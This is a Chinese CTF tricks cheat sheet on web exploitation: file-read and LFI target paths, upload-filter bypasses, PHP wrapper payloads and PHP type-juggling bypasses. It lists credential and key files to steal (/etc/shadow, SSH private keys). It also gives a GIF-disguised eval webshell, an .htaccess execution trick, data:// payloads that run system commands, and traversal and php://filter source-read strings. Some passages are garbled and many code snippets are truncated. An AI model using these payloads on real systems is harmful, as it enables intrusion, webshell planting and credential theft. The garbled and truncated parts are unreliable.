一些CTF 做题的tricks,东拼西凑放到这里,方便查找
任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。
下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:
/etc/passwd # 用来记录每个拥有系统访问权的注册用户
/etc/shadow # 密码信息,获取到后可用 John the Ripper 爆破
/root/.bash_history # 输入命令的历史记录,还有root外的其他用户
/root/.ssh/id_rsa # 拿到私钥后可直接ssh登陆
### 系统信息文件
/etc/hosts # 主机信息
/proc/version # 内核版本
/proc/mounts # 挂载的文件系统列表
/root/.bashrc # 环境变量信息
/proc/net/route # 路由表信息
/proc/net/arp # arp表,可以获得内网其他机器的地址
/root/.viminfo # vim 信息
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/net/tcp # 活动连接的信息
/proc/net/udp
/proc/net/fib_trie # 路由缓存
/proc/[PID]/cmdline # 进程状态[pid],可能包含有用的路径信息,可以为0000-9999,可以暴力枚举
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[num] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
/proc/self/fd/[0-99] # 可能获取到当前运行进程的文件
fuzz字典
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/etc/issue
/proc/version
/etc/redhat-release
/etc/debian_version
/etc/slackware_version
/etc/*version
/proc/cpuinfo
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log #根据情况替换[version]
/usr/local/services/nginx-[version]/logs/error.log
/usr/local/services/nginx-[version]/nginx.conf
/usr/local/services/nginx-[version]/conf/nginx.conf
/usr/local/services/nginx-[version]/conf/proxy.conf
/usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf
/home/httpd/
/home/httpd/www/
/usr/local/services/apache-tomcat-8.0.23/logs #根据情况替换[version]
/usr/local/services/apache-tomcat-[version]/logs/catalina.out
/usr/local/services/jetty-8.1.16/ #根据情况替换[version]
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
/usr/local/services/resin-4.0.44/ #根据情况替换[version]
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties
/home/svnroot/
平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。
Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。
常用Content-Type:
#图片文件
image/png image/jpeg image/gif
#文本文件
text/plain text/xml text/html
更多 -> HTTP Content-Type 对照表
在木马内容基础上再加一些文件信息,比如文件的文件头。
其中.gif
文件的文件头可以全部用ascii字符表示:
GIF89a eval($_POST[1]); ?>
后缀大小写绕过(linux下可以尝试)
.pHp .aSp
不常用后缀绕多
通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。
.jsp .jspa .jspx .jspw .jspv .jspf .jtml # jsp文件
.asp .aspx .asa .asax .ascx .ashx .asmx .cer # asp文件
.php .php(1-*) .phtml .phpt .pht # php文件
.exe .exee # exe文件
windows系统会自动去掉不符合规则符号后面的内容
以下文件名都会被解析为test.php
test.php.
test.php(空格)
test.php:1.jpg
test.php::$DATA
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
<FilesMatch "cimer">
SetHandler application/x-httpd-php
FilesMatch>
通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字符串的任意文件。
一个文件名为
test.x1.x2.x3
的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析.
/dirasp/1.jpg
因为文件名中有asp字样,所以该文件夹下的1.jpg文件打开时,会按照asp文件去解析执行
另一个是只要文件名中含有.asp、.asa、.cer会优先按 asp 来解析
1.asp.jpg
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串
/任意文件名.php
就会按照php的方式去解析;
(任意文件名)/(任意文件名).php
目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
(任意文件名)/(任意文件名).php
还有一种是对低版本的Nginx(<=0.8.37)可以在任意文件名后面添加%00.php进行解析攻击。
(任意文件名)%00.php
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符,这时就可能会产生
0x00
截断漏洞。
绕过方式也很简单,用像test.php%00.jpg的方式进行截断,或打开bp的hex窗口,替换文件名部分对应的字符为00即可
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J538U9hS-1593606332387)(https://s2.ax1x.com/2019/04/13/ALRMx1.png)]
有时候上传图片到服务器后,服务器会将图片压缩成缩略图,php的GD库就是压缩图片的一个库,常用于生成缩略图,经过GD处理后的图片信息,如果包含利用代码,会被混淆的一塌糊涂,无法运行。
经php GD库渲染后的图片一般有如下特征字符串:
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80
但是国外大神已经写出了绕过GD库渲染的WEBSHELL图片生成器,于是这个也可以轻松绕过了
可以去这位大神的网站下载工具:jpg_payload
该工具的具体使用方法:
#首先需要安装php的gd库
apt-get install php-gd
#jpg_name.jpg是待GD处理的图片(需要先经过一次GD处理)
php jpg_payload.php <jpg_name.jpg>
生成好的图片,在经过如下代码处理后,依然能保留其中的shell:
imagecreatefromjpeg('xxxx.jpg');
?>
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
php文件包含漏洞通常由以下几个函数引发:
include() #包含并运行指定文件,失败产生警告,脚本会继续运行。
include_once() #若文件已经被包含过,则不会再次包含。
require() #包含并运行指定文件,失败将导致脚本中止。
require_once() #若文件已经被包含过,则不会再次包含。
当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。
例如有如下代码:
$file=$_GET['file'];
include($file);
?>
在当前目录有一个flag.txt
只需访问?file=flag.txt
,由于flag.txt
文件中无有效的php代码,所以可以直接获取文件内容
下面我们访问该目录下的另一个文件flag.php
,其内容如下:
echo "flag is here";
$flag="flag{2333}";
?>
访问页面可看到如下内容,可以看到,php代码已经被解析了
LFI(Local File Inclusion)
本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。
php中开启远程文件包含利用需要在php.ini
中配置如下:
allow_url_fopen = On #默认为On
allow_url_include = On #php5.2之后就默认为Off
include("inc/" . $_GET['file']);
?>
linux中这两个文件储存着所有文件的路径,需要root权限:
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
?file=../../../../../../../../../var/log/apache/error.log
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
更多参见–>传送门<–
关于文件包含漏洞,比较常用的还有php的
php://
伪协议,详细的介绍请戳官方文档
这里比较常用的是:
php://input
php://filter
利用条件:
allow_url_include = On
修改配置文件:
即可如图所示利用:
可获取文件内容
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php
关于文件名:有时服务端可能会自动拼接后缀名,例如提交
page=upload
可能会被拼接为ipload.php
,所以在获取失败时不妨去掉后缀名试试。
通过指定末尾的文件,可以读取经base64编码后的文件源码
可获取压缩包中文件内容
事先得知道压缩文件目录结构
?file=phar://flag.zip/flag.txt
用法同上,但使用zip协议,需要指定绝对路径,同时将#
编码为%23
,之后填上压缩包内的文件才会包含成功
?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip%23flag.txt
命令执行
?file=data:text/plain,
?file=data:text/plain,
?file=data:text/plain,
执行效果如下:
还可编码绕过:
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B #phpinfo();
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== #system('whoami');
?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg== #echo `whoami`;
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
phar:// — PHP 归档
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// — 音频流
expect:// — 处理交互式的流
这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize()
测试用例:
echo file_get_contents($_GET['test']);
?>
直接传入路径即可,以file://开始可能会失败
如果不加以限制可能会泄露信息
访问:http://127.0.0.1/test.php?test=../phpStudy.ini
结果:
[phpStudy]
path=E:\phpStudy\
wwwroot=E:\phpStudy\WWW
yxms=0
phpver=phpa
cdyc=1
dirlist=1
version=2014
URL=www.phpstudy.net
nots=1
jsml=E:\phpStudy\WWW
autojs=0
访问:http://127.0.0.1/test.php?test=http://127.0.0.1/test.php?test=test.php
结果:
这年头谁还用ftp啊
这可是个重头戏
php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流
php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取
传入:http://127.0.0.1/test.php?test=php://filter/read=convert.base64-encode/resource=./test.php
结果:
PD9waHANCmVjaG8gZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ3Rlc3QnXSk7DQo/Pg==
这里用的是read=筛选列表,使用了convert.base64-encode这个过滤器,resource=要过滤的数据
注意:(read/write可用省略)任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链
双off也可以用
用于读取压缩文件,注意#需要进行url编码
#前为压缩文件路径,后为压缩文件内的文件名
zip://test.zip%23file.txt
同上
注意压缩文件必须要后缀(可以是任意后缀)
phar://test.zip/test.php
结果:
很常用的数据流构造器 , 将读取后面base编码字符串后解码的数据作为数据流的输入
一般用于构造输入:data://text/plain;base64,SSBsb3ZlIFBIUAo=
结果:
I love PHP
用于查找文件,但是没法直接使用
需要DirectoryIterator()
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击
经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等
有如下代码
当我们输入url?id=flag
时,即可获得flag文件里的内容,这里是因为当我们给id赋值为flag时$id='falg'
,flag
变量里存储了flag文件里的内容,所以我们只要能获取到变量flag
里的内容就可以得到flag了,当执行到echo $$id;
时,注意到有两个 符 号 , P H P 从 右 开 始 解 析 变 量 , 所 以 ‘ ‘ ‘ 符号,PHP从右开始解析变量,所以``` 符号,PHP从右开始解析变量,所以‘‘‘id右边的
i d ‘ ‘ ‘ 解 析 为 ‘ ‘ ‘ f l a g ‘ ‘ ‘ 再 和 左 边 的 ‘ ‘ ‘ id```解析为```flag```再和左边的``` id‘‘‘解析为‘‘‘flag‘‘‘再和左边的‘‘‘符号组合成
$flag```变量最后输出,即可拿到flag
首先介绍一下extract()函数的作用
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
以bugku中的一道题作为例子
extract变量覆盖
可以看到源码第三行使用了extract($_GET);
来提取从$_GET
方式获得的变量,并且在代码的第六行有if($shiyan==$content)
的判断来决定是否输出flag,由于我们并不知道flag
文件里的内容所以无法是判断成立,但是由于extract
函数存在变量覆盖的问题,这里我们注意到代码中关键的一点是$flag
变量是在extract()
函数调用前赋的值,所以这里我们可以用extract()
函数对flag
变量进行覆盖,这题的payload为
http://123.206.87.240:9009/1.php?shiyan=&flag=
即可拿到flag
解释一下这里我们并未对shiyan
这个变量赋值所以为NULL,同理我们给flag不赋值,或者随便赋值(即一个不存在的文件名),让file_get_contents()
这个函数获取flag
文件里的内容时找不到文件即为NULL,所以if($shiyan==$content)
两个变量都为NULL,条件成立输出flag
parse_str() 函数把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量.
代码示例
"; //$a=1
parse_str("b=1&c=2",$myArray);
print_r($myArray); //Array ( [c] => 1 [b] => 2 )
?>
parse_str()类似的函数还有mb_parse_str(),用法基本一致。
import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中.
示例代码
//提交:?id=111
//结构:111
此篇主要是做笔记,记录PHP中的变量覆盖问题,不论是CTF还是实际场景中都可能遇到,所以放在这里,方便以后查看
文中部分内容来自
https://www.cnblogs.com/xiaozi/p/7768580.html
需要安装扩展
声明:以下部分内容或者代码来自互联网,搬到这里是做一下笔记,部分内容来自https://blog.csdn.net/qq_31481187/article/details/60968595
strcmp ( string $str1 , string $str2 ) : int
str1第一个字符串 str2第二个字符串。
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0
示例
当输入id[]=时,if(strcmp('ssss',$id))
条件成立,就会输出YES
bugku例题
eregi — 不区分大小写的正则表达式匹配,本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。
%
的url编码为%25
,而字符a
的url编码为%61
,所以构造?id=h%2561ckerDJ
,第一次URL解码为h%61ckerDJ
,所以在第一个if语句绕过匹配,下面再次调用urldecode()
函数,解码为hackerDJ
,条件成立输出flag
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有
md5()
md5(QNKCDZO)
0e830400451993494058024219903391
md5(s878926199a)
0e545993274517709034328855841020
md5(s155964671a)
0e342768416822451524974117254469
md5(s214587387a)
0e848240448830537924465865611904
md5(s214587387a)
0e848240448830537924465865611904
sha1()
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
同时md5()和sha1()不能处理数组,若有以下判断则可用数组绕过
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
if(@sha1($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
正则表达式匹配以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1]
包含第一个左圆括号开始的子串,$regs[2]
包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。
如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以这里可以使用%00截断正则匹配,如如果输入123%00|||
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。如
$value)
{
print $key."\n";
}
?>
获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
Note:
**如果 base 是 0,通过检测 var 的格式来决定使用的进制: **
举一个西电的ctf题
32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) {
echo 'Hello '.$username.'!', '
', PHP_EOL;
echo $flag, '
';
}
}
highlight_file(__FILE__);
- chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可
- intval()在处理16进制时存在问题,经过测试在
intval('0x123',16)
转换正常,而intval('0x123')
时会出错返回0,通过上面的函数介绍,可知在指定base为0的时候,才会处理'0x123'
此类字符串作为16进制转换,否则按十进制转换;而在强制转换时,即intval($password + 1)
时,里面的password+1
时,已经做了转换,所以再用intval()
函数时就不会出错
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:
则会输出YES,这里是由于switch()对参数进行了类型转换
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
可以看到上面的情况返回的都是true,因为’abc’会转换为0,'1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换
unset($var);用来销毁指定的变量,如果变量var 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过
$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 这个函数会把 $_CONFIG 变量销毁
unset($$key);
}
}
if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}
?>
PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题